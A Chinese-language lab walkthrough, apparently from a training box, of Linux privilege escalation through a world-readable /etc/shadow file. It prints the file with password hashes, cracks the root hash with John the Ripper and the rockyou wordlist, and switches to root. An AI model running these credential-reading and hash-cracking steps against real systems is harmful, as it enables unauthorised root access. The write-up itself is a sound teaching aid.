/etc/shadow
文件包含用户密码哈希,通常只有root用户才能读取。
请注意,环境里的/etc/shadow
文件可由全部用户读取:
ls -l /etc/shadow
运行结果:
user@debian:~$ ls -l /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow
user@debian:~$
查看/etc/shadow
文件的内容:
cat /etc/shadow
运行结果:
user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::
user@debian:~$
文件的每行代表一个用户。每行的第一个冒号(:)和第二个冒号之间包含用户的密码哈希(如果有的话)。
将root用户的哈希保存到名为hash.txt的文件中,并使用john the ripper破解它。根据您的Kali版本,您可能需要先解压缩/usr/share/wordlists/rockyou.txt.gz
,并使用sudo运行该命令:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
运行结果:
┌──(root㉿kali)-[~/桌面]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (root)
1g 0:00:00:00 DONE (2023-04-18 01:06) 2.380g/s 3657p/s 3657c/s 3657C/s cuties..mexico1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(root㉿kali)-[~/桌面]
└─#
使用破解后的密码切换到root用户:
su root
运行结果:
user@debian:~$ su root
Password:
root@debian:/home/user# whoami
root
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#